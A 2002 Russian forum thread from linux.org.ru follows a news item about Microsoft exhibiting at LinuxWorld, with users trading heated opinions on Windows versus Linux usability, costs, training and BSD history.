LINUX.ORG.RU

Microsoft примет участие в LinuxWorld


0

0

На выставку-конференцию LinuxWorld представители Microsoft раньше приходили лишь в качестве посетителей. Однако на ближайшей LinuxWorld, которая пройдет с 12 по 15 августа, корпорация впервые выступит в роли участника. Согласно официальному уведомлению, на стенде площадью около 3 м2 Microsoft будет демонстрировать встраиваемые операционные системы и еще некоторые программные продукты. На открытый код в корпорации переходить вовсе не планируют: решение об участии в LinuxWorld принято в связи с тем, что посетители выставки признаны "важной для Microsoft аудиторией". В Microsoft, в частности, рассчитывают, что на LinuxWorld удастся установить какие-то нужные связи. В компании MandrakeSoft, однако, убеждены, что Microsoft попросту собирается использовать LinuxWorld для рекламы Windows XP.

>>> Подробности



Проверено: maxcom

>>>Если у вас такое встречается, мне очень вас жаль, такая беда бывает особливо в мелких конторах, или в госструктурах.<<<

Не все же в большом бизнесе работать, да еще и в Москве

Dao_Dezi
()

Вот-вот. Зато пяткой в грудь, майки рвём: "Винда самая легко осваиваемая, единственная в мире. Все остальные в глубокой ж...". А на деле...

МС рвет майки сравнивая винды со старыми виндами... с МакОС ни разу не видел сравнения у них в документах. Пяткой в грудь себя бьют аналитики, публикуя отчеты о сравнениях юзабилити.


>>>я утверждаю? где я такое утверждал? я только ратую, чтобы каждую ОС ставили там, где она имеет смысл, а не совали во все дыры.<<<

Не присваивайте себе чужие слова. До этого я слышал только "Винда, Винда, только Винда. Везде должна быть Винда, а всякие Линуксы, Юниксы и прочее - на свалку."

можно плиз цитату из моих высказываний где бы встречалось "везде должна быть винда, и про свалку"?


>>>с ними имеют дело мои подчиненные, сотрудники компаний, проводящие трейнинги.<<<

Вот у них и спросите, почему сейчас народ такой тупой пошёл...

дык я с ними и общаюсь... каких либо качественных изменений не произошло за последние 10 лет в составе народа, что приходится обучать. произошли только качественные изменения в инструментах, которым приходится учить... они стали нагляднее, проще в использовании, интуитивнее, интегрированнее и с более стандартизованным интерфейсом.

Забыли поставить жирное ИМХО.

дык все что я пишу есть мое мнение, на великость я не претендую, по-сему оно именно хумбле. где я кого цитирую, то ставлю цитату и источник.

Только зашёл на http://www.mistral.ru сразу же книжку предложили для пользователей Linux. Как настроить полную поддержку русского, как пользоваться StarOffice'ом, WordPerfect'ом и прочей офисной ерундой.

дык я и спрашиваю - сколько книг для пользователей? где трейнинг-центры по ОО? вы на том же мистрале зайдите посмотрите сколько там книг только по ворду/экселю и офису... гораздо больше чем всех книг по линуксу, включая биографию Л. Торвальдса

У меня к Вам вопрос: Вы помните сколько было в 95-ом году книг по Винде и Офису?

Помню. их было много, причем в тот же день, когда винда начала продаваться. и еще было помимо книг огромное количество прикладного софта, выпущенного в тот же день и заточенного на Вин95

Точно! Им нужны кошечки, скрепки и прочие из ХР-шного офиса.

Скрепку из ОфисаХР выкинули и по-умолчанию ее не видно... именно потому что провели исследование и выяснили, что эти самые люди умственного труда ее не любят... переделали ряд аспектов для улучшения групповой работы.

Лично мне ситуация с Линуксом в настоящее время напоминает ситуацию с 95-ой Виндой в 95-96 годах. Практически один в один.

Ну а мне видны параллели только с ОС/2 в 95 году... куча криков, разговоры про ИБМ, который завалит мелкомягких и т.п.

PTO
()

2 PTO

>>>вы с НИС, НИС+ не путаете? :)<<<

Возможно. Не настолько я ещё силен в Линуксе, порой путаю...

>>>готов быть оппонентом на защите, только заранее сообщите где и когда.<<<

Дык, ещё в аспирантуру поступать (а для этого ещё философию вспоминать и спецдисциплины), затем кандидатская, потом докторантура и только потом докторская. Так что если когда и решусь, то результат будет не раньше чем лет через 10... А там уж настолько тупые пойдут, что и доказывать никому ничего не придётся. Кстати некоторое время назад довольно часто вели беседы с одним профессором на тему: "В связи с ростом числа компьютеров число чайников увеличивается или уменьшается". Я напирал на то, что людям свойствено обучение и взаимовыручка, т.е. чайники обучаются, потом делятся опытом друг с другом - в результате число чайников уменьшается. В последнее время я уже в этом сильно сомневаюсь....

>>>А пользователи не ИТшники они по определению ламерье... им знать как сий холодильник устроен знать не положено и для их благополучия не обязательно, посему задача ИТ сделать так, чтобы это ламерье могло эффективно выполнять свои должностные обязанности, не отнимая при этом много время у ИТ и хелпдеска.<<<

И что это достижимо только с помощью Виндов?

>>>Если у вас такое встречается, мне очень вас жаль, такая беда бывает особливо в мелких конторах, или в госструктурах. Бороться с этим можно написав докладную записку и подшив ее, что данное распоряжение выполнено быть не может потому что и т.п....<<<

У меня слава Богу не встречается. У меня начальник знает, что я в компах разбираюсь лучше чем он, поэтому прежде чем принять какое-то решение он у меня спрашивает как лучше.

>>>тока как это относится все к ЛинуксВорлд и юзабилити виндов мне не совсем понятно :)<<<

Да никак. Просто как всегда пришёл кто-то из клана МС и давай доказывать что Винда самая что ни наесть простая, удобная, безопасная, etc. А мне просто приятно тыкнуть таких людей носом в то, что не всё так гладко, как они расписывают. А вообще под каждые задачи своё - не нужно пытаться шлангом землю копать, можно конечно, но стоит ли? А про ЛинуксВорлд и МС следующее: раскроет МС реализацию SMB - Samba будет работать без проблем => Линукс в сетях с Виндой будет чувствовать себя очень уверенно. Глядишь потом кто-нибудь портированием Офиса займется. И будет всем щастье. Только вот в свете этого щастья МС в их теперешнем облике неудел останется.

null666.

anonymous
()

Это ты сейчас про какую ОСь? Про винду или Линь? То то и оно, что в этом они общи. Сначала Винда была на десктопах, потом стала

Я про любую ось. каждая ось хороша там, где она хороша.

заползать на сервера, потом даже на Пальмы полезла... Чуствуешь схожесть? Только Линь с серверов начинал...

не, линукс начинал как терминал двузадачный :)... читайте Джаст фо фан :)

Только не надо вилять из стороны в сторону. Ок? Говорили о том, что в _любом_ случае юзеров надо обучать. А ты опять в сторону разговор уводишь...

не, мы говорили не за то, что нужно или нет их обучать, а за то, на сколько сие сложно/дорого/доступно.

>>>стоны про тяжкую жизть то тут за чем приводить? <<<

Это не стоны про тяжкую жизнь, это я просто хочу тебе нарисовать словесный портрет среднестатистического юзера. "Коих большинство" (с) Самы сильный аргумент виндузятников.

вы статистику в каком ВУЗе изучали?

Так это теперь ТАК называется? А я думал, что Скрепыш призван для полных даунов... Хорош умственный труд... Я бы на твоем месте

повторяю, скрепыш был под фанфары прибит, ибо исследования показали, что он мешает народу работать после определенного уровня.

индустрии, это должно быть понятно и без меня. Тампакс тоже хвалят, только вот женщины от него не в восторге...

Ну давайте еще тампаксы и прочие прокладки по сравниваем... только без меня, я мужского пола и ни разу не смог ощутить степень комфорта и сухости... тока эта... Тампакс очень хорошо продается, т.к. анатомия у всех немного отличается и если ваша подруга их не приемлет, то существует большое кол-во женьщин, которым оно просто очень нравится.
Давайте не будем сваливаться на растегивание ширинок, вытаскивание пиписек и доставание линеек и прочих штангенциркулей...

Я не говорю, что вот-вот, и будет счастье, я говорю, что прогресс на лицо...

Угу, прогресс на лицо, больше железа поддерживаться стало, немного начали думать о простых пользователях, а не только о сисадминах и программерах... смотрят в сторону энтерпрайз компьютинга (правда в основном большие спонсоры, которые свои продукты переносят - anything but Microsoft). Но беда сегодняшнего момента заключается в том, что бум кончился, шальные деньги тают и следующим шагом скорее всего будет постепенная скупка КрасныхШапочек и Сусей ИБМом и Ораклом... что из этого выйдет это бабушка на двое сказала... ИБМ умеет гробить свои ОС, у Оракла экспириенса на рынке розничных продаж нет вообще. ОЕМный канал практически не доступен. Так чта скорее всего останется данная ОС некой маргинальной фишкой для фанатов. Жаль только, что этот бум помешал нормальному подъему БЗДшных продуктов, которые на момент начала бума Линукса имели много шансов на серверный рынок нижнего класса, а теперь и там у них все хужее...

PTO
()

>>>не, линукс начинал как терминал двузадачный :)... читайте Джаст фо фан :) <<<

Я читал. Просто я имел ввиду время, когда он начал набирать обороты, а не когда только только создавался :))) Ну это так, к слову.. :)) Ну а насчет винды согласишься? С нею произошло именно то, что ты написал...

>>>вы статистику в каком ВУЗе изучали? <<<

Я думаю, достаточно посмотреть на выходцев из школ и ВУЗов.... Мой опыт показывает, что даже в технических вузах компьютерно грамотных людей очень и очень мало.

>>>повторяю, скрепыш был под фанфары прибит, ибо исследования показали, что он мешает народу работать после определенного уровня. <<<

Сорьки, но когда я писал свой пост, еще не было поста от null666 :)))

>>>Ну давайте еще тампаксы и прочие прокладки по сравниваем...<<<

Вай-вай, ну как вы любите придираться к фразам... А смысл упорно не хотите улавливать. :(( Хорошо, напишу очень _просто_: надо фильтровать, то что говорят ПиАрщики.

>>>Угу, прогресс на лицо, больше железа поддерживаться стало, немного начали думать о простых пользователях, а не только о сисадминах и программерах... смотрят в сторону энтерпрайз компьютинга (правда в основном большие спонсоры, которые свои продукты переносят - anything but Microsoft). Но беда сегодняшнего момента заключается в том, что бум кончился, шальные деньги тают и следующим шагом скорее всего будет постепенная скупка КрасныхШапочек и Сусей ИБМом и Ораклом... что из этого выйдет это бабушка на двое сказала... ИБМ умеет гробить свои ОС, у Оракла экспириенса на рынке розничных продаж нет вообще. ОЕМный канал практически не доступен. Так чта скорее всего останется данная ОС некой маргинальной фишкой для фанатов. Жаль только, что этот бум помешал нормальному подъему БЗДшных продуктов, которые на момент начала бума Линукса имели много шансов на серверный рынок нижнего класса, а теперь и там у них все хужее...<<<

Я бы не стал заглядывать так далеко, поживем - увидим....

Dao_Dezi
()

>>>вы с НИС, НИС+ не путаете? :)<<<

Возможно. Не настолько я ещё силен в Линуксе, порой путаю...

ну так может и не надо тогда предлагать решение, в котором не сильны и путаетесь... просто у меня иногда создается впечатление, что у линуксоидов (в худшем смысле этого слова) на все есть готовый ответ... типа "а вот тут мы вот такую штучку поставим и полный рулез наступит"... начинаешь задавать наводящие вопросы и видно, что народ эти штучки руками не трогал, а только прочел о них в форуме... начинаешь копать дальше выясняется, что народ не в курсе не только ограничений и тонкостей продукта/технологии/решения, но и не знает о степени возможностей и функционала. но ответ сразу готов "о-ппа"... а ведь никто на линукс Нотес не ставил и как оно там живет не щупал (за очень редким исключением), но при слове "документооборот" как попки повторяют "нотес у нас есть"... ну и?
Любой базар за масштабируемость скатывается на крутизну соляриса (ну это же тоже линукс, и мы так можем), а разговор про файловые системы на крутизну xfs, где все ее крутые фишки доступны на железе от силикона и под ИРИКСом же...

и только потом докторская. Так что если когда и решусь, то результат

ну есть гении, которым дипломную работу за кандидатскую/дохтурскую засчитывают :) особенно такое поле непаханное, да и тема свежа... последние лет так 5000 старое поколение жалуется на тупость молодого поколения.

И что это достижимо только с помощью Виндов?

хорошо ли, плохо ли, но винды к этому стремятся и цель такова декларируется. А достижимо ли это с помощью Линукса?

>>>тока как это относится все к ЛинуксВорлд и юзабилити виндов мне не совсем понятно :)<<<

Да никак. Просто как всегда пришёл кто-то из клана МС и давай доказывать что Винда самая что ни наесть простая, удобная, безопасная, etc. А мне просто приятно тыкнуть таких людей носом в

вы это про меня? я не в клане МСа, я типа сам по себе.
То что винда проще для простых юзерей это факт, с которым спорят только люди плохо представляющие себе задачи и средства, которыми пользуются простые люди. Удобная - гораздо удобнее большинства конкурирующих продуктов, симу есть подтверждение в куче исследований уважаемых контор. Безопасная - хм. из коробки нет, так же как и любая другая ОС, с грамотной настройкой - безопасна на нормальном уровне. с настройкой идиотом - не безопасна так же как не безопасна любая другая ОС.

то, что не всё так гладко, как они расписывают. А вообще под каждые

ну и что же где не гладко? вы тут рассказываете про своих одуренных пользователях, так почему же им не поставлен линукс и не показано во всей красе как юзабелен и интуитивен его интерфейс?

но стоит ли? А про ЛинуксВорлд и МС следующее: раскроет МС реализацию SMB - Samba будет работать без проблем => Линукс в сетях

ОНО УЖЕ ДАВНО ОТКРЫТО!
http://www.faqs.org/rfcs/rfc1002.html
http://msdn.microsoft.com/downloads/default.asp?url=/downloads/sample.asp?url...

в свете этого щастья МС в их теперешнем облике неудел останется.

я с 1993 года такие идеи/надежды читаю в прессе... что-то вот уже почти 10 лет прошло как, а воз и ныне там, а доходы у МСа растут

PTO
()

"Жаль только, что этот бум помешал нормальному подъему БЗДшных продуктов, которые на момент начала бума Линукса имели много шансов на серверный рынок нижнего класса, а теперь и там у них все хужее..."

Откуда только такие дауны берутся. БЗД, или еще хуже, Hurd начинают вспоминать. Что им линух такого сделал? Самый популярная ОС после MS. Добились всего честным, а не маркетинговым путем.

anonymous
()

Ну а насчет винды согласишься? С нею произошло именно то, что ты написал...

что с ней произошло? то, что она начинает лезть активно на новые рынки? дык в ней появляется функционал и свойства этим рынкам отвечающие... Был вин на десктопе, потом была война с новеллом - стал он на сервере файл энд принт, потом на аппликейшн сервера полез. потом сделали облегченную версию для маленьких машинок... теперь у них появилась СЕ новая с жеским реалтаймом и она полезла на рынок эмбеддед устройств показывая всем, что она _хороша_ для этого рынка. а там пусть победит сильнейший... хотя я читал прогнозы аналитиков рынка реалтайм систем, они уверены в том, что МС и Виндривер поделят рынок пополам, а остатками будут питаться все оставшиеся.

>>>вы статистику в каком ВУЗе изучали? <<<

Я думаю, достаточно посмотреть на выходцев из школ и ВУЗов.... Мой опыт показывает, что даже в технических вузах компьютерно грамотных людей очень и очень мало.

вот странно. сейчас у почти каждого школьника дома комп, у каждого студента тоже, а иногда и не один (достаточно проехать мимо общаги в долгопрудном посмотрев на кол-во кабелей приходящих в общагу :)).
Опыт работы с компом, основных понятий файл/клава/мышь есть почти у всех. далее стоит задача сделать так, чтобы при использовании конкретного ПО это можно было делать достаточно просто - нарисован принтер, значит распечатать, нарисован "?", значит помощь.

Вай-вай, ну как вы любите придираться к фразам... А смысл упорно не хотите улавливать. :(( Хорошо, напишу очень _просто_: надо фильтровать, то что говорят ПиАрщики.

а если нету смысла или он обличен в такую форму, что до него не докопаешься... если хотите радости для линукса, дык научитесь свои мысли и вложенный смысл облекать в такую форму, чтоб ее было понятно всем... как это пиарщики из МСа делают (хотя они тоже лажаются регулярно).
Дык дело в том, что я практически не слушаю пиарщиков, все более технические сессии для профи... там никаких слов "ура", тока постановка задачи, проблемы, методы решения и чего МС для этого делает. По их шкале это называется преза уровня 300... на 100е я не хожу вообще.

Я бы не стал заглядывать так далеко, поживем - увидим....

конечно поживем-увидим... но думать об этом нужно уже сейчас... куда пойдет ИТ, какие системы будут востребованы новым поколением заказчиков (ха, на самом деле ваш тезис о постепенном отуплении пользоватлей как раз говорит о неизбежности краха линукса как десктопа или необходимости выбросить оттуда кучу хлама и добавить свежей крови)... чтобы завтра кушать нужно сегодня думать и учится... чего и вам желаю.

PTO
()

2 anonymous (*) (2002-08-12 16:18:02.516):
"Жаль только, что этот бум помешал нормальному подъему БЗДшных продуктов, которые на момент начала бума Линукса имели много шансов на серверный рынок нижнего класса, а теперь и там у них все хужее..."

Откуда только такие дауны берутся. БЗД, или еще хуже, Hurd начинают
вспоминать. Что им линух такого сделал? Самый популярная ОС после MS. Добились всего честным, а не маркетинговым путем.

Просто когда начался бум линукса, дотКомов и прочего линукс был полное гавно, а БЗД весьма и весьма качественной вещью, при буме потекли бабки большой рекой в линуксные компании (некоторые до сих пор живы, хотя бабок не зарабатывают даже на самоокупание)... если бы эти же бабки потекли в БЗДшную линейку, то ситуация была бы на базаре в принципе иной.
И эта самая популярная в какой категории ОС? И что есть честный путь?

PTO
()

Чтобы бабки потекли на бсдшную линейку надо агрессивную лицензию аля GPL. А с BSD лицензией билли да джобс расхватали все хорошие да и продали за денежку.

anonymous
()

Самая популярная после MS на интеле. Драйверов, учитывая не intel под линух больше всего -> тоже показатель.

А то, что линух мертворожденный писали уважаемые люди как только он родился. И тогда еще никто за линухом не стоял, никаких денег. Токо не правы были уважаемые люди. И ты не прав. Линух силен тем, что может жить без всякой поддержки, и только поэтому у него есть теперь эта поддержка. Вот оно как.

anonymous
()

А насчет того, что линух был гамно, а БЗД качественной вещью, это те какой-нибудь бздун рассказал. Линух уже тогда рулил, хотя и не во всех областях.

anonymous
()

Самая популярная после MS на интеле. Драйверов, учитывая не intel под линух больше всего -> тоже показатель.

самая популярная ОС на интеле после МС? в каком сегменте, десктопы? сервера? встроенные устройства?

не правы были уважаемые люди. И ты не прав. Линух силен тем, что

время покажет... пока же, то что эти уважаемые люди ставили в упрек линуксу там усиленно правится (монолитность ядра, кривой шедуллер, треды)... прав ли я... поживем увидем... на моей памяти уже несколько рулезов было... и счастливо скончамшись

может жить без всякой поддержки, и только поэтому у него есть теперь эта поддержка. Вот оно как.

поддержка финансовая имеется в виду? дык она сейчас кончается уже... что будет с красной шапкой, если они за свои доходы не смогут даже аренду офиса оплачивать? разбегутся (и многие другие)... кто будет оказывать поддержку, собирать дистрибутивы, тестировать все говно что под ГПЛ пишут студенты...

PTO
()

2 anonymous (*) (2002-08-12 16:56:22.429): А насчет того, что линух был гамно, а БЗД качественной вещью, это те какой-нибудь бздун рассказал. Линух уже тогда рулил, хотя и не во всех областях.

приведите плиз список областей, в которых линукс "рулил" году так в 1996-1997. хотя бы где он бздшную линейку уделывал.

PTO
()


>Дык а по виндам предложений нету! Вот тут конкретный вариант и он не в пользу линукса.

Это вопрос. поскольку гарантий на установку виндос не дается и можно только предполагать, насколько долго она протянет и сколько дополнительных затрат еще предстоит. По данному предложению видно, что затрат на поддержку будет как минимум в трое больше, чем в решении под линукс.

>покажите мне плиз цены конторы которая делает и то и то и давайте посравниваем


я ставлю линукс за 50 баксов. Еще раз. трудоемкость установки линукса заметно меньше чем у виндовс а цены конкретных предложений зависят от локальных условий. Если за установку линукс готовы платить в три раза больше - грех не брать эти деньги.


>Для этого МС имеет метод лицензирования Microsoft Open Subscribtion
>License... когда все платежи разбиваются на ежегодные маленькие в
>течение 3х лет, при этом все новые версии бесплатно.


Цены и условия. Я в курсе про подписку, но насколько я знаю, это дело выгодно только крупным конторам. Пока что доказательства выгоды нет.

>а я таких видел десятки. есть специальные конторы, которые берут на >абонентское обслуживание, есть даже исследования, что дешевле и в >каких размерах для контор.

как раз в такой конторе я и работал. :)
То есть обслуживание все равно имеет место быть?
где же тогда разница? удаленное администрирование линукса заметно проще из за простоты и изначальной ориентированности настроек на текст. Поставил openssh и рули абонентами. Стало быть и здесь издержки будут меньшими. Я даже великодушно ставлю их РАВНЫМИ.

>Что имеется в виду?
посканируйте точку.ру и вы поймете о чем речь.
логи моего апача с сегодняшнеми запросами от нимбды показать?
И не стоит говорить про профессионализм и патчи от микрософт.
Просто посмотрите, сколько открытых сервисов и прокси, сколько web-серверов раздающих весь диск, сколько непатченных виндоз и больше не заикайтесь про "дешевизну" сопровождения виндовс - эта "дешевизна" основной массе не по карману. А вот линукс вполне.

anonymous
()


>Дык а по виндам предложений нету! Вот тут конкретный вариант и он не в пользу линукса.

Это вопрос. поскольку гарантий на установку виндос не дается и можно только предполагать, насколько долго она протянет и сколько дополнительных затрат еще предстоит. По данному предложению видно, что затрат на поддержку будет как минимум в трое больше, чем в решении под линукс.

>покажите мне плиз цены конторы которая делает и то и то и давайте посравниваем


я ставлю линукс за 50 баксов. Еще раз. трудоемкость установки линукса заметно меньше чем у виндовс а цены конкретных предложений зависят от локальных условий. Если за установку линукс готовы платить в три раза больше - грех не брать эти деньги.


>Для этого МС имеет метод лицензирования Microsoft Open Subscribtion
>License... когда все платежи разбиваются на ежегодные маленькие в
>течение 3х лет, при этом все новые версии бесплатно.


Цены и условия. Я в курсе про подписку, но насколько я знаю, это дело выгодно только крупным конторам. Пока что доказательства выгоды нет.

>а я таких видел десятки. есть специальные конторы, которые берут на >абонентское обслуживание, есть даже исследования, что дешевле и в >каких размерах для контор.

как раз в такой конторе я и работал. :)
То есть обслуживание все равно имеет место быть?
где же тогда разница? удаленное администрирование линукса заметно проще из за простоты и изначальной ориентированности настроек на текст. Поставил openssh и рули абонентами. Стало быть и здесь издержки будут меньшими. Я даже великодушно ставлю их РАВНЫМИ.

anonymous
()

2 PTO

>>>МС рвет майки сравнивая винды со старыми виндами... с МакОС ни разу не видел сравнения у них в документах. Пяткой в грудь себя бьют аналитики, публикуя отчеты о сравнениях юзабилити.<<<

А потом, граждане, начитавшись этих самых аналитиков приходят на www.linux.org.ru и начинают кричать, что Винда самая легкая в освоении...

>>>дык я с ними и общаюсь... каких либо качественных изменений не произошло за последние 10 лет в составе народа, что приходится обучать. произошли только качественные изменения в инструментах, которым приходится учить... они стали нагляднее, проще в использовании, интуитивнее, интегрированнее и с более стандартизованным интерфейсом.<<<

Страно. Раньше люди свободно с ДОС'ом общались, достаточно было один раз объяснить что такое каталог и зачем он нужен. А сейчас... То что "Мои документы" это такая же папка как все остальные понимают от силы 1%. Так что не надо заливать про качественные изменения.

>>>дык я и спрашиваю - сколько книг для пользователей? где трейнинг-центры по ОО? вы на том же мистрале зайдите посмотрите сколько там книг только по ворду/экселю и офису... гораздо больше чем всех книг по линуксу, включая биографию Л. Торвальдса<<<

А сколько из этих книг _реально_ полезных? Сколько из них не являются тупым copy-paste с хелпы? Сколько из них клонов (написаных почти слово в слово)? В итоге получаем всё те же 1-2 книги.

>>>Помню. их было много, причем в тот же день, когда винда начала продаваться. и еще было помимо книг огромное количество прикладного софта, выпущенного в тот же день и заточенного на Вин95<<<

Освежайте память. В то время книги были по ДОС'у. А прикладной софт вышедший в тот же день - это Вы вообще пошутили. А игрушки ещё очень долго под ДОС клепали.

>>>Скрепку из ОфисаХР выкинули и по-умолчанию ее не видно... именно потому что провели исследование и выяснили, что эти самые люди умственного труда ее не любят... переделали ряд аспектов для улучшения групповой работы.<<<

Тогда остались только смарт-теги да альтернативный ввод.

>>>Ну а мне видны параллели только с ОС/2 в 95 году... куча криков, разговоры про ИБМ, который завалит мелкомягких и т.п.<<<

Ага, кучи криков про то, что Винда завалит ДОС и куча народа, оставшегося на ДОС'е. И приговор: "for lamerz only". А потом Билл Гейтс изобрел интернет... Да, да, точно это всё про OS/2, а я-то и забыл. А Линукс в теперешнем состоянии всё же напоминает Вин95 в самом начале. Вроде тоже для простых пользователей, на самом деле ещё достаточно сложно и непривычно.

>>>ну так может и не надо тогда предлагать решение, в котором не сильны и путаетесь...<<<

Заметьте, я никогда не утверждал, что я крут в Линуксе. Я лишь указывал на косяки Винды... :)

>>>ну есть гении, которым дипломную работу за кандидатскую/дохтурскую засчитывают :) особенно такое поле непаханное, да и тема свежа... последние лет так 5000 старое поколение жалуется на тупость молодого поколения.<<<

Мне самому стыдно будет дипломную за докторскую пихать...

>>>хорошо ли, плохо ли, но винды к этому стремятся и цель такова декларируется. А достижимо ли это с помощью Линукса?<<<

хорошо ли, плохо ли, но линукс к этому стремится и цель такова декларируется.

>>>вы это про меня? я не в клане МСа, я типа сам по себе. То что винда проще для простых юзерей это факт, с которым спорят только люди плохо представляющие себе задачи и средства, которыми пользуются простые люди. Удобная - гораздо удобнее большинства конкурирующих продуктов, симу есть подтверждение в куче исследований уважаемых контор.<<<

Про MacOS вспомним ещё раз?

>>>Безопасная - хм. из коробки нет, так же как и любая другая ОС, с грамотной настройкой - безопасна на нормальном уровне. с настройкой идиотом - не безопасна так же как не безопасна любая другая ОС.<<<

>>>ну и что же где не гладко? вы тут рассказываете про своих одуренных пользователях<<<

Про каких одурённых пользователей? В отличие от некоторых я своих пользователей не дурю.

>>>ОНО УЖЕ ДАВНО ОТКРЫТО!<<<

Пару месяцев назад это уже давно?

>>>Просто когда начался бум линукса, дотКомов и прочего линукс был полное гавно, а БЗД весьма и весьма качественной вещью, при буме потекли бабки большой рекой в линуксные компании (некоторые до сих пор живы, хотя бабок не зарабатывают даже на самоокупание)... <<<

Вы уже определились бы с прогрессом Линукса. А то утверждаете, что его не было, то утверждаете, что линукс _был_ полное гавно.

>>>если бы эти же бабки потекли в БЗДшную линейку, то ситуация была бы на базаре в принципе иной.<<<

Да, точно. Сейчас бы PTO доказывал бы нам во флейме на www.freebsd.org.ru что Винда в 500 миллионов раз круче чем BSD'я.

null666.

anonymous
()

PTO, вот те ссылка сравнения 1994:

http://exec.osp.ru/cgi-bin/yandmarkup.cgi?HndlQuery=398885904&PageNum=0&a...

Прочитай в конце: "Я начинал это сравнение убежденным сторонником BSD 0.1. Затем обнаружилось, что коммерческий вариант BSD вызывает меньше нареканий - он просто инсталлируется и работает без проблем. Однако, единственный UNIX, который останется на моем компьютере, - это Linux."

Так что борзей, но в меру. И выводы свои глубокомысленные (без бума линуха бы не было) засунь себе (куда хочешь - я добрый).

anonymous
()

>покажите мне плиз цены конторы которая делает и то и то и давайте посравниваем я ставлю линукс за 50 баксов. Еще раз. трудоемкость установки какие гарантии вы реализуете? т.е. если упадет сервер, пропадет письмо или важная информация уедет моему конкуренту какую сумму моих потерь и упущенной выгоды вы мне вернете? что за эти 50 баксов будет делать линукс? какие сервисы оно будет реализовать? зависят от локальных условий. Если за установку линукс готовы какие к черту локальные условия - контора в одном городе работает и в нем же услуги оказывает - под линуксом та же услуга почти в 3 раза дороже. платить в три раза больше - грех не брать эти деньги. дык батенька тут же рынок... спрос и предложение. т.е. саморегуляция должна быть... никто не будет кому-то платить в 3 раза больше, когда это можно сделать за 3 раза меньше. т.е. тут явное нарушение пропорция спрос/предложение... либо спрос велик (в чем я сумневаюсь), либо предложение мало в чем я уверен. А с установкой Виндов все понятно - спрос/предложение уже утряслись и цены на рынке более-менее правильные. Цены и условия. Я в курсе про подписку, но насколько я знаю, это дело выгодно только крупным конторам. Пока что доказательства выгоды нет. позвоните локальному партнеру МСа и попросите их посчитать лицензии так и так. далее сравнивайте, прикладывайте свою ставку рефинансирования, проекцию собственных анализов трендов доллара к рублю и вперед! То есть обслуживание все равно имеет место быть? угу, сервер пропылесосить, картридж заменить, нового пользователя завести... где же тогда разница? удаленное администрирование линукса заметно проще из за простоты и изначальной ориентированности настроек на текст. Поставил openssh и рули абонентами. Стало быть и здесь издержки будут меньшими. Я даже великодушно ставлю их РАВНЫМИ. ну и как удаленно картридж в лазернике заминить или сервер пропылесосить? >Что имеется в виду? посканируйте точку.ру и вы поймете о чем речь. я сканировал кучу разных сетей... скажу по секрету... Линуксов с задранной юбкой и с руткитом стоит на просторах нашей необъятной родины немерянно... просто ломать винды сейчас круто, а линукс типа себе же в колодец плевать... основной массе не по карману. А вот линукс вполне. ну так там винды из коробки... давайте поставим линукс из коробки и посмотрим чего там с дешевизной... если они нт еще как-то поставить могут и в новых версиях им еще напоминать будут что мол вышли апдейты для вашей машины и хорошо бы их поставить, то линукс из коробки чайник в погоне за дешивизной вряд-ли поставит вообще... и как только линукс дойдет до состояния простоты установки аналогичной виндам и туда полезет толпа чайников, так будут тут же побиты все рекорды нимбды, но уже под линуксом.

PTO
()

Страно. Раньше люди свободно с ДОС'ом общались, достаточно было один

сколько этих людей было раньше, и сколько людей работают с компами сегодня?

А сколько из этих книг _реально_ полезных? Сколько из них не

а сколько книг реально полезны по линуксу для пользователя? так чтобы можно было дать человеку и он бы его освоил не напрягаясь в плане работы с КВордом или ОО? Отвечу... для обычного человека таких книг практически нет. есть для ИТшнков - как поставить, настроить, пересобрать ядро. есть для студентов - "исходники ядра с комментариями"... для обычных людей окромя "для чайников" нет ничего, да и эта "для чайников" тетеньке из бухгалтерии не поможет... уж больно заковыресто написано.

являются тупым copy-paste с хелпы? Сколько из них клонов (написаных почти слово в слово)? В итоге получаем всё те же 1-2 книги.

а как же свобода выбора? по цвету обложки и цене... приходи и выбирай, под линуксом и такого нет

Освежайте память. В то время книги были по ДОС'у. А прикладной софт

мне не нужно освежать память... она у меня нормально работает. Первая книжка для чайников про вин95 вышла за пол-года до выхода продукта (в России на русском языке), а книжка для программеров за 2 месяца.

вышедший в тот же день - это Вы вообще пошутили. А игрушки ещё очень долго под ДОС клепали.

В день запуска Вин95 (24 августа) вместе с ней начались продажи более 300 готовых пакетов под Вин95... от Офиса, до симантековских утилит. Куча мультимидийных приложений... игрушек только МС выпустил тридцать штук в тот же день и далее с пол-года по 10 штук в месяц выпускал.

Тогда остались только смарт-теги да альтернативный ввод.

а чем плохи смарт-теги... народ с них тащится... я видел самодельные смарт теги... типа народ набирает индекс РТСа и ему текущуюю стоимость акции показывают. Мне например нравится возможнось созданный документ разослать куче народа на ревизию и получив от каждого поправки слить их в один документ параллельно. + SharePoint Team Services, которая ставится на ИИС на рабочей станции и дешево и сердито делать удобный минипортал для рабочей группы работающей над каким-либо проектом.

Ага, кучи криков про то, что Винда завалит ДОС и куча народа, оставшегося на ДОС'е. И приговор: "for lamerz only". А потом Билл

угу, осталась куча народу... и на ОС/2 кое-кто продолжает работать... а на островах еще есть люди, которые босиком и с копьями ходят и им наши разборки до барабана в который они бьют когда войной на соседнее племя идут... пограбить там, да баб поворовать.

Заметьте, я никогда не утверждал, что я крут в Линуксе. Я лишь указывал на косяки Винды... :)

ой винды ли? вы решение для линукса не задумываясь выдаете, а про винды похоже разбираться не досуг...

хорошо ли, плохо ли, но линукс к этому стремится и цель такова декларируется.

кем декларируется... как он стремится, каковы планы, когда ожидать счастья?

Про MacOS вспомним ещё раз?

а причем тут МакОС собственно? то, что у нее юзабельность хороша, дык это хорошо... но какими жертвами она достигается? и сколько стоит? Мне нравятся аргументы линурасов - маштабируемость - дык Солярис крут, юзабельность - МакОС рулит, еще чего - тоже найдут... линукс ГДЕ?!

Пару месяцев назад это уже давно?

Спецификация CIFS доступна давно... просто теперь ее раздают роялти фри. а RFC вообще древний на сколько я понимаю...

Вы уже определились бы с прогрессом Линукса. А то утверждаете, что его не было, то утверждаете, что линукс _был_ полное гавно.

кого не было? линукса? дык-ть лучше бы уж не было, чем то говно что было :) сорри за тавтологию.

>>>если бы эти же бабки потекли в БЗДшную линейку, то ситуация была бы на базаре в принципе иной.<<<

Да, точно. Сейчас бы PTO доказывал бы нам во флейме на www.freebsd.org.ru что Винда в 500 миллионов раз круче чем BSD'я.

